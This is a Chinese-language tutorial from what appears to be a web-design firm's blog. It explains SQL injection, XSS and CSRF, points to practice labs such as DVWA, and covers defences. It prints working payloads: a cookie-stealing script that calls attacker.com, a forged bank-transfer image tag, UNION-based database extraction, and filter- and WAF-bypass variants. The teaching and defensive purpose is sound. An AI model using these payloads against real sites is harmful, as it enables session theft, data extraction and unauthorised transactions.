Web安全三大经典攻击:SQL注入、XSS与CSRF详解

发布时间:2026/10/28 18:05:18
Web安全三大经典攻击:SQL注入、XSS与CSRF详解 1. 网络攻防技术全景图从脚本小子到安全专家的必经之路刚入行网络安全时我最困惑的就是各种攻击手法之间的关系。就像学武术要先了解不同流派的特点掌握网络攻防也得先建立完整的认知框架。常见的网络攻击技术主要分为三大类针对Web应用的攻击、系统层攻击和社会工程学攻击。其中Web安全领域的SQL注入、XSS、CSRF堪称三大经典也是各类渗透测试和CTF比赛的高频考点。去年给某电商平台做安全审计时仅用基础的SQL注入就发现了7个高危漏洞。攻击者完全可以通过这些漏洞获取整个数据库的用户信息包括明文存储的密码是的2023年还有公司用明文存密码。这让我意识到很多企业不是不知道这些攻击手法而是缺乏系统性的认知。2. Web安全三大经典攻击手法详解2.1 SQL注入数据库的万能钥匙SQL注入的原理简单得令人害怕——把用户输入直接拼接到SQL语句中执行。比如登录场景的SQL可能是SELECT * FROM users WHERE username输入的用户名 AND password输入的密码如果用户在用户名输入admin--整个SQL就变成了SELECT * FROM users WHERE usernameadmin-- AND password任意密码--在SQL中是注释符这意味着攻击者不用知道密码就能以管理员身份登录。实战技巧使用和测试输入过滤通过AND 11和AND 12判断注入点信息收集常用语句UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()--重要提示永远不要用字符串拼接方式构造SQL语句所有现代语言都提供了参数化查询接口。2.2 XSS前端界的寄生虫跨站脚本攻击(XSS)就像在网页里植入寄生虫。我曾在某论坛发现存储型XSS漏洞攻击者可以在帖子内容中插入scriptnew Image().srchttp://attacker.com/steal?cookiedocument.cookie/script所有查看该帖子的用户会话都会被窃取。XSS三种类型对比类型触发方式持久性典型案例反射型恶意链接点击非持久钓鱼邮件中的链接存储型服务端存储持久论坛帖子内容DOM型前端渲染非持久单页应用URL参数防御方案// Spring Boot中配置全局XSS过滤器 Bean public FilterRegistrationBeanXssFilter xssFilter() { FilterRegistrationBeanXssFilter registration new FilterRegistrationBean(); registration.setFilter(new XssFilter()); registration.addUrlPatterns(/*); return registration; }2.3 CSRF冒充用户的提线木偶CSRF攻击就像操控提线木偶。假设银行转账接口是GET /transfer?to攻击者amount10000如果用户已登录银行网站攻击者只需在第三方网站插入img srchttp://bank.com/transfer?to攻击者amount10000防御方案对比方案实现方式优缺点Token验证每次请求携带随机token安全但实现复杂SameSite Cookie设置Cookie属性简单但浏览器兼容问题二次验证关键操作需再次认证安全但影响用户体验3. 从入门到精通的实战路线图3.1 环境搭建你的第一个黑客实验室新手建议从这些工具开始XAMPP一键搭建PHPMySQL环境DVWA专为安全测试设计的漏洞演练平台Burp Suite Community抓包改包神器OWASP ZAP自动化扫描工具在Windows 10上配置DVWA的常见问题文件权限问题将dvwa/config/config.inc.php.dist复制为.inc.php数据库连接失败检查config.inc.php中的数据库密码是否与MySQL一致安全级别设置在DVWA Security中调整难度等级3.2 靶场实战从简单到企业级新手必练的五个靶场DVWADamn Vulnerable Web App包含从Low到Impossible四个难度级别特别适合练习SQL注入和XSSPikachu中文漏洞演示环境覆盖CSRF、文件包含等更多漏洞类型PortSwigger Academy配套Burp Suite的在线实验室SQL注入主题包含18个渐进式挑战WebGoatOWASP维护的JavaEE应用每个漏洞都有详细教学指导Juice Shop现代JavaScript应用包含100多个不同难度的flag3.3 漏洞挖掘实战方法论SQL注入审计流程寻找所有用户输入点URL参数、表单、Headers测试特殊字符过滤, , , %, #, --判断错误回显报错注入关键尝试布尔盲注AND 11/AND 12获取数据库信息version(), database()提取表名和字段名information_schema导出目标数据UNION SELECTXSS漏洞挖掘技巧测试所有富文本编辑器检查JSONP回调参数尝试SVG文件上传测试HTML5新特性如autofocus事件绕过过滤的常用payloadimg srcx onerroralert(1) svg/onloadalert(1)4. 防御体系构建从代码到架构4.1 安全编码规范Java SQL注入防御// 错误示范 String query SELECT * FROM users WHERE username username ; // 正确做法使用PreparedStatement PreparedStatement stmt conn.prepareStatement( SELECT * FROM users WHERE username ?); stmt.setString(1, username);前端XSS防御// 使用DOMPurify过滤HTML import DOMPurify from dompurify; const clean DOMPurify.sanitize(dirtyHTML); // React默认防御XSS const safeHTML {__html: sanitizedContent}; return div dangerouslySetInnerHTML{safeHTML} /;4.2 架构级安全方案Web应用防火墙(WAF)规则示例SecRule REQUEST_FILENAME contains login.php \ chain,id:1001,deny,status:403 SecRule ARGS:username detectSQLi \ t:none,t:urlDecodeAPI安全增强措施严格的Content-Type检查JWT签名验证速率限制如1分钟最多5次登录尝试请求指纹校验敏感操作二次认证5. 常见问题与排查指南SQL注入绕过技巧注释符替换--→#→/*注释*/字符串拼接or 11→||11十六进制编码admin→0x61646d696e空白符替换空格 →/**/→%0aXSS过滤器绕过方法大小写混淆sCriPtalert(1)/scRipt编码绕过img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41;利用HTML5特性details/open/ontogglealert(1)CSRF防御失效场景Token泄露通过XSSJSON接口未验证Content-Type子域名可控导致的SameSite绕过GET请求修改状态6. 学习资源与进阶路径推荐学习路线基础网络知识HTTP/TCP/IP掌握至少一门编程语言Python/PHP/Java系统学习OWASP Top 10参与CTF比赛和漏洞赏金计划深入研究特定领域如IoT/区块链安全必备工具清单代理工具Burp Suite、Charles漏洞扫描Nessus、OpenVAS密码破解Hashcat、John the Ripper网络分析Wireshark、Tcpdump漏洞利用Metasploit、Cobalt Strike在DVWA中练习时我建议先自己尝试破解再看源码学习防御方法。比如完成SQL注入挑战后对比Impossible级别的代码$stmt $pdo-prepare(SELECT * FROM users WHERE user ? AND password ?); $stmt-execute([$user, $pass]);这才是真正安全的写法。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询